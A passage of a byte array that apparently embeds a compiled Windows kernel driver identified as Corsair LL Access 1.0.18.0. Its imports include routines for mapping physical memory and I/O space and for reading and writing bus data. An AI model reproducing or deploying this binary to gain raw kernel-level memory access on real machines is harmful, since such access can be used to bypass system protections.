0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0xCC, 0x10, 0x00, 0x00, + 0x9C, 0x24, 0x00, 0x00, 0xD0, 0x10, 0x00, 0x00, 0xEF, 0x10, 0x00, 0x00, + 0x90, 0x24, 0x00, 0x00, 0xF0, 0x10, 0x00, 0x00, 0x9B, 0x12, 0x00, 0x00, + 0x70, 0x24, 0x00, 0x00, 0xA0, 0x12, 0x00, 0x00, 0xED, 0x12, 0x00, 0x00, + 0xB8, 0x24, 0x00, 0x00, 0xF0, 0x12, 0x00, 0x00, 0x62, 0x13, 0x00, 0x00, + 0x24, 0x25, 0x00, 0x00, 0x64, 0x13, 0x00, 0x00, 0xE0, 0x13, 0x00, 0x00, + 0xEC, 0x24, 0x00, 0x00, 0xE0, 0x13, 0x00, 0x00, 0x88, 0x16, 0x00, 0x00, + 0x40, 0x25, 0x00, 0x00, 0xC4, 0x16, 0x00, 0x00, 0xF9, 0x16, 0x00, 0x00, + 0xA4, 0x25, 0x00, 0x00, 0xFC, 0x16, 0x00, 0x00, 0x6A, 0x17, 0x00, 0x00, + 0xF8, 0x24, 0x00, 0x00, 0x6C, 0x17, 0x00, 0x00, 0x75, 0x18, 0x00, 0x00, + 0x08, 0x25, 0x00, 0x00, 0xFC, 0x18, 0x00, 0x00, 0xBB, 0x19, 0x00, 0x00, + 0x70, 0x25, 0x00, 0x00, 0xBC, 0x19, 0x00, 0x00, 0xEC, 0x19, 0x00, 0x00, + 0x88, 0x25, 0x00, 0x00, 0xEC, 0x19, 0x00, 0x00, 0x67, 0x1A, 0x00, 0x00, + 0xF8, 0x24, 0x00, 0x00, 0x68, 0x1A, 0x00, 0x00, 0xD1, 0x1C, 0x00, 0x00, + 0xC4, 0x24, 0x00, 0x00, 0xF0, 0x1C, 0x00, 0x00, 0x0E, 0x1D, 0x00, 0x00, + 0xD0, 0x25, 0x00, 0x00, 0x20, 0x1D, 0x00, 0x00, 0x4D, 0x1D, 0x00, 0x00, + 0xD4, 0x25, 0x00, 0x00, 0x68, 0x1D, 0x00, 0x00, 0x85, 0x1D, 0x00, 0x00, + 0x90, 0x24, 0x00, 0x00, 0x88, 0x1D, 0x00, 0x00, 0xE7, 0x1D, 0x00, 0x00, + 0x90, 0x24, 0x00, 0x00, 0x00, 0x1E, 0x00, 0x00, 0x05, 0x1E, 0x00, 0x00, + 0xE0, 0x25, 0x00, 0x00, 0x40, 0x1E, 0x00, 0x00, 0x29, 0x1F, 0x00, 0x00, + 0xE8, 0x25, 0x00, 0x00, 0x00, 0x50, 0x00, 0x00, 0x2B, 0x50, 0x00, 0x00, + 0xC0, 0x25, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x48, 0x89, 0x5C, 0x24, 0x08, 0x57, 0x48, 0x83, 0xEC, 0x20, 0x48, 0x8B, + 0xDA, 0x48, 0x8B, 0xF9, 0xE8, 0x17, 0x00, 0x00, 0x00, 0x48, 0x8B, 0xD3, + 0x48, 0x8B, 0xCF, 0xE8, 0x48, 0xCA, 0xFF, 0xFF, 0x48, 0x8B, 0x5C, 0x24, + 0x30, 0x48, 0x83, 0xC4, 0x20, 0x5F, 0xC3, 0xCC, 0x48, 0x8B, 0x05, 0xCD, + 0xDF, 0xFF, 0xFF, 0x45, 0x33, 0xC9, 0x49, 0xB8, 0x32, 0xA2, 0xDF, 0x2D, + 0x99, 0x2B, 0x00, 0x00, 0x48, 0x85, 0xC0, 0x74, 0x05, 0x49, 0x3B, 0xC0, + 0x75, 0x38, 0x0F, 0x31, 0x48, 0xC1, 0xE2, 0x20, 0x48, 0x8D, 0x0D, 0xA9, + 0xDF, 0xFF, 0xFF, 0x48, 0x0B, 0xC2, 0x48, 0x33, 0xC1, 0x48, 0x89, 0x05, + 0x9C, 0xDF, 0xFF, 0xFF, 0x66, 0x44, 0x89, 0x0D, 0x9A, 0xDF, 0xFF, 0xFF, + 0x48, 0x8B, 0x05, 0x8D, 0xDF, 0xFF, 0xFF, 0x48, 0x85, 0xC0, 0x75, 0x0A, + 0x49, 0x8B, 0xC0, 0x48, 0x89, 0x05, 0x7E, 0xDF, 0xFF, 0xFF, 0x48, 0xF7, + 0xD0, 0x48, 0x89, 0x05, 0x7C, 0xDF, 0xFF, 0xFF, 0xC3, 0xCC, 0xCC, 0xCC, + 0xE8, 0x50, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x26, 0x54, 0x00, 0x00, 0x18, 0x20, 0x00, 0x00, 0xD0, 0x50, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x64, 0x54, 0x00, 0x00, + 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x4C, 0x54, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x34, 0x54, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xF2, 0x51, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x0A, 0x52, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1A, 0x52, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x2E, 0x52, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x40, 0x52, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x58, 0x52, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x6C, 0x52, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x8A, 0x52, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xAA, 0x52, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xCC, 0x52, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xEA, 0x52, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x06, 0x53, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xE8, 0x51, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x3C, 0x53, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4C, 0x53, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x5E, 0x53, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x6E, 0x53, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x84, 0x53, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x96, 0x53, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xAE, 0x53, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0x53, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xD8, 0x53, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xE4, 0x53, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFE, 0x53, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x16, 0x54, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xDC, 0x51, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x26, 0x53, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xD0, 0x51, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x37, 0x0B, 0x77, 0x63, + 0x73, 0x63, 0x70, 0x79, 0x5F, 0x73, 0x00, 0x00, 0x3B, 0x0B, 0x77, 0x63, + 0x73, 0x6E, 0x63, 0x61, 0x74, 0x5F, 0x73, 0x00, 0x3C, 0x0B, 0x77, 0x63, + 0x73, 0x6E, 0x63, 0x6D, 0x70, 0x00, 0xFC, 0x07, 0x52, 0x74, 0x6C, 0x49, + 0x6E, 0x69, 0x74, 0x55, 0x6E, 0x69, 0x63, 0x6F, 0x64, 0x65, 0x53, 0x74, + 0x72, 0x69, 0x6E, 0x67, 0x00, 0x00, 0xEC, 0x07, 0x52, 0x74, 0x6C, 0x47, + 0x65, 0x74, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6F, 0x6E, 0x00, 0x1F, 0x04, + 0x4B, 0x65, 0x49, 0x6E, 0x69, 0x74, 0x69, 0x61, 0x6C, 0x69, 0x7A, 0x65, + 0x4D, 0x75, 0x74, 0x65, 0x78, 0x00, 0x7A, 0x04, 0x4B, 0x65, 0x52, 0x65, + 0x6C, 0x65, 0x61, 0x73, 0x65, 0x4D, 0x75, 0x74, 0x65, 0x78, 0x00, 0x00, + 0xC5, 0x04, 0x4B, 0x65, 0x57, 0x61, 0x69, 0x74, 0x46, 0x6F, 0x72, 0x53, + 0x69, 0x6E, 0x67, 0x6C, 0x65, 0x4F, 0x62, 0x6A, 0x65, 0x63, 0x74, 0x00, + 0xEC, 0x00, 0x45, 0x78, 0x51, 0x75, 0x65, 0x72, 0x79, 0x44, 0x65, 0x70, + 0x74, 0x68, 0x53, 0x4C, 0x69, 0x73, 0x74, 0x00, 0x53, 0x01, 0x45, 0x78, + 0x70, 0x49, 0x6E, 0x74, 0x65, 0x72, 0x6C, 0x6F, 0x63, 0x6B, 0x65, 0x64, + 0x50, 0x6F, 0x70, 0x45, 0x6E, 0x74, 0x72, 0x79, 0x53, 0x4C, 0x69, 0x73, + 0x74, 0x00, 0x54, 0x01, 0x45, 0x78, 0x70, 0x49, 0x6E, 0x74, 0x65, 0x72, + 0x6C, 0x6F, 0x63, 0x6B, 0x65, 0x64, 0x50, 0x75, 0x73, 0x68, 0x45, 0x6E, + 0x74, 0x72, 0x79, 0x53, 0x4C, 0x69, 0x73, 0x74, 0x00, 0x00, 0xD1, 0x00, + 0x45, 0x78, 0x49, 0x6E, 0x69, 0x74, 0x69, 0x61, 0x6C, 0x69, 0x7A, 0x65, + 0x4E, 0x50, 0x61, 0x67, 0x65, 0x64, 0x4C, 0x6F, 0x6F, 0x6B, 0x61, 0x73, + 0x69, 0x64, 0x65, 0x4C, 0x69, 0x73, 0x74, 0x00, 0xAC, 0x00, 0x45, 0x78, + 0x44, 0x65, 0x6C, 0x65, 0x74, 0x65, 0x4E, 0x50, 0x61, 0x67, 0x65, 0x64, + 0x4C, 0x6F, 0x6F, 0x6B, 0x61, 0x73, 0x69, 0x64, 0x65, 0x4C, 0x69, 0x73, + 0x74, 0x00, 0xF9, 0x04, 0x4D, 0x6D, 0x42, 0x75, 0x69, 0x6C, 0x64, 0x4D, + 0x64, 0x6C, 0x46, 0x6F, 0x72, 0x4E, 0x6F, 0x6E, 0x50, 0x61, 0x67, 0x65, + 0x64, 0x50, 0x6F, 0x6F, 0x6C, 0x00, 0x28, 0x05, 0x4D, 0x6D, 0x4D, 0x61, + 0x70, 0x4C, 0x6F, 0x63, 0x6B, 0x65, 0x64, 0x50, 0x61, 0x67, 0x65, 0x73, + 0x53, 0x70, 0x65, 0x63, 0x69, 0x66, 0x79, 0x43, 0x61, 0x63, 0x68, 0x65, + 0x00, 0x00, 0x52, 0x05, 0x4D, 0x6D, 0x55, 0x6E, 0x6D, 0x61, 0x70, 0x4C, + 0x6F, 0x63, 0x6B, 0x65, 0x64, 0x50, 0x61, 0x67, 0x65, 0x73, 0x00, 0x00, + 0x25, 0x05, 0x4D, 0x6D, 0x4D, 0x61, 0x70, 0x49, 0x6F, 0x53, 0x70, 0x61, + 0x63, 0x65, 0x00, 0x00, 0x51, 0x05, 0x4D, 0x6D, 0x55, 0x6E, 0x6D, 0x61, + 0x70, 0x49, 0x6F, 0x53, 0x70, 0x61, 0x63, 0x65, 0x00, 0x00, 0x6B, 0x02, + 0x49, 0x6F, 0x41, 0x6C, 0x6C, 0x6F, 0x63, 0x61, 0x74, 0x65, 0x4D, 0x64, + 0x6C, 0x00, 0xAA, 0x03, 0x49, 0x6F, 0x66, 0x43, 0x6F, 0x6D, 0x70, 0x6C, + 0x65, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x00, 0x00, + 0x93, 0x02, 0x49, 0x6F, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x44, 0x65, + 0x76, 0x69, 0x63, 0x65, 0x00, 0x00, 0x9E, 0x02, 0x49, 0x6F, 0x43, 0x72, + 0x65, 0x61, 0x74, 0x65, 0x53, 0x79, 0x6D, 0x62, 0x6F, 0x6C, 0x69, 0x63, + 0x4C, 0x69, 0x6E, 0x6B, 0x00, 0x00, 0xAA, 0x02, 0x49, 0x6F, 0x44, 0x65, + 0x6C, 0x65, 0x74, 0x65, 0x44, 0x65, 0x76, 0x69, 0x63, 0x65, 0x00, 0x00, + 0xAC, 0x02, 0x49, 0x6F, 0x44, 0x65, 0x6C, 0x65, 0x74, 0x65, 0x53, 0x79, + 0x6D, 0x62, 0x6F, 0x6C, 0x69, 0x63, 0x4C, 0x69, 0x6E, 0x6B, 0x00, 0x00, + 0xBF, 0x02, 0x49, 0x6F, 0x46, 0x72, 0x65, 0x65, 0x4D, 0x64, 0x6C, 0x00, + 0xED, 0x02, 0x49, 0x6F, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, + 0x73, 0x74, 0x6F, 0x72, 0x50, 0x72, 0x6F, 0x63, 0x65, 0x73, 0x73, 0x49, + 0x64, 0x00, 0xBB, 0x0A, 0x5F, 0x5F, 0x43, 0x5F, 0x73, 0x70, 0x65, 0x63, + 0x69, 0x66, 0x69, 0x63, 0x5F, 0x68, 0x61, 0x6E, 0x64, 0x6C, 0x65, 0x72, + 0x00, 0x00, 0xD9, 0x03, 0x4B, 0x65, 0x42, 0x75, 0x67, 0x43, 0x68, 0x65, + 0x63, 0x6B, 0x45, 0x78, 0x00, 0x00, 0x6E, 0x74, 0x6F, 0x73, 0x6B, 0x72, + 0x6E, 0x6C, 0x2E, 0x65, 0x78, 0x65, 0x00, 0x00, 0x19, 0x00, 0x48, 0x61, + 0x6C, 0x47, 0x65, 0x74, 0x42, 0x75, 0x73, 0x44, 0x61, 0x74, 0x61, 0x42, + 0x79, 0x4F, 0x66, 0x66, 0x73, 0x65, 0x74, 0x00, 0x3D, 0x00, 0x48, 0x61, + 0x6C, 0x53, 0x65, 0x74, 0x42, 0x75, 0x73, 0x44, 0x61, 0x74, 0x61, 0x42, + 0x79, 0x4F, 0x66, 0x66, 0x73, 0x65, 0x74, 0x00, 0x48, 0x41, 0x4C, 0x2E, + 0x64, 0x6C, 0x6C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x02, 0x00, 0x0A, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x80, + 0x10, 0x00, 0x00, 0x00, 0x38, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, + 0xA0, 0x00, 0x00, 0x80, 0x50, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, + 0x01, 0x00, 0x00, 0x00, 0x68, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, + 0x09, 0x04, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, + 0x09, 0x04, 0x00, 0x00, 0x90, 0x00, 0x00, 0x00, 0xB0, 0x60, 0x00, 0x00, + 0x37, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xE8, 0x60, 0x00, 0x00, 0x40, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x07, 0x00, 0x52, 0x00, 0x45, 0x00, 0x53, 0x00, + 0x4E, 0x00, 0x41, 0x00, 0x4D, 0x00, 0x45, 0x00, 0x53, 0x41, 0x4D, 0x50, + 0x4C, 0x45, 0x5F, 0x49, 0x44, 0x45, 0x4E, 0x54, 0x49, 0x46, 0x49, 0x45, + 0x52, 0x7B, 0x64, 0x64, 0x33, 0x38, 0x66, 0x37, 0x66, 0x63, 0x2D, 0x64, + 0x37, 0x62, 0x64, 0x2D, 0x34, 0x38, 0x38, 0x62, 0x2D, 0x39, 0x32, 0x34, + 0x32, 0x2D, 0x37, 0x64, 0x38, 0x37, 0x35, 0x34, 0x63, 0x64, 0x65, 0x38, + 0x30, 0x64, 0x7D, 0x00, 0x40, 0x03, 0x34, 0x00, 0x00, 0x00, 0x56, 0x00, + 0x53, 0x00, 0x5F, 0x00, 0x56, 0x00, 0x45, 0x00, 0x52, 0x00, 0x53, 0x00, + 0x49, 0x00, 0x4F, 0x00, 0x4E, 0x00, 0x5F, 0x00, 0x49, 0x00, 0x4E, 0x00, + 0x46, 0x00, 0x4F, 0x00, 0x00, 0x00, 0x00, 0x00, 0xBD, 0x04, 0xEF, 0xFE, + 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x12, 0x00, + 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x12, 0x00, 0x3F, 0x00, 0x00, 0x00, + 0x08, 0x00, 0x00, 0x00, 0x04, 0x00, 0x04, 0x00, 0x03, 0x00, 0x00, 0x00, + 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x9E, 0x02, 0x00, 0x00, 0x01, 0x00, 0x53, 0x00, 0x74, 0x00, 0x72, 0x00, + 0x69, 0x00, 0x6E, 0x00, 0x67, 0x00, 0x46, 0x00, 0x69, 0x00, 0x6C, 0x00, + 0x65, 0x00, 0x49, 0x00, 0x6E, 0x00, 0x66, 0x00, 0x6F, 0x00, 0x00, 0x00, + 0x7A, 0x02, 0x00, 0x00, 0x01, 0x00, 0x30, 0x00, 0x34, 0x00, 0x30, 0x00, + 0x39, 0x00, 0x30, 0x00, 0x34, 0x00, 0x42, 0x00, 0x30, 0x00, 0x00, 0x00, + 0x4A, 0x00, 0x15, 0x00, 0x01, 0x00, 0x43, 0x00, 0x6F, 0x00, 0x6D, 0x00, + 0x70, 0x00, 0x61, 0x00, 0x6E, 0x00, 0x79, 0x00, 0x4E, 0x00, 0x61, 0x00, + 0x6D, 0x00, 0x65, 0x00, 0x00, 0x00, 0x00, 0x00, 0x43, 0x00, 0x6F, 0x00, + 0x72, 0x00, 0x73, 0x00, 0x61, 0x00, 0x69, 0x00, 0x72, 0x00, 0x20, 0x00, + 0x4D, 0x00, 0x65, 0x00, 0x6D, 0x00, 0x6F, 0x00, 0x72, 0x00, 0x79, 0x00, + 0x2C, 0x00, 0x20, 0x00, 0x49, 0x00, 0x6E, 0x00, 0x63, 0x00, 0x2E, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x4C, 0x00, 0x12, 0x00, 0x01, 0x00, 0x46, 0x00, + 0x69, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x44, 0x00, 0x65, 0x00, 0x73, 0x00, + 0x63, 0x00, 0x72, 0x00, 0x69, 0x00, 0x70, 0x00, 0x74, 0x00, 0x69, 0x00, + 0x6F, 0x00, 0x6E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x43, 0x00, 0x6F, 0x00, + 0x72, 0x00, 0x73, 0x00, 0x61, 0x00, 0x69, 0x00, 0x72, 0x00, 0x20, 0x00, + 0x4C, 0x00, 0x4C, 0x00, 0x20, 0x00, 0x41, 0x00, 0x63, 0x00, 0x63, 0x00, + 0x65, 0x00, 0x73, 0x00, 0x73, 0x00, 0x00, 0x00, 0x32, 0x00, 0x09, 0x00, + 0x01, 0x00, 0x46, 0x00, 0x69, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x56, 0x00, + 0x65, 0x00, 0x72, 0x00, 0x73, 0x00, 0x69, 0x00, 0x6F, 0x00, 0x6E, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x31, 0x00, 0x2E, 0x00, 0x30, 0x00, 0x2E, 0x00, + 0x31, 0x00, 0x38, 0x00, 0x2E, 0x00, 0x30, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x44, 0x00, 0x12, 0x00, 0x01, 0x00, 0x49, 0x00, 0x6E, 0x00, 0x74, 0x00, + 0x65, 0x00, 0x72, 0x00, 0x6E, 0x00, 0x61, 0x00, 0x6C, 0x00, 0x4E, 0x00, + 0x61, 0x00, 0x6D, 0x00, 0x65, 0x00, 0x00, 0x00, 0x43, 0x00, 0x6F, 0x00, + 0x72, 0x00, 0x73, 0x00, 0x61, 0x00, 0x69, 0x00, 0x72, 0x00, 0x20, 0x00, + 0x4C, 0x00, 0x4C, 0x00, 0x20, 0x00, 0x41, 0x00, 0x63, 0x00, 0x63, 0x00, + 0x65, 0x00, 0x73, 0x00, 0x73, 0x00, 0x00, 0x00, 0x8A, 0x00, 0x33, 0x00, + 0x01, 0x00, 0x4C, 0x00, 0x65, 0x00, 0x67, 0x00, 0x61, 0x00, 0x6C, 0x00, + 0x43, 0x00, 0x6F, 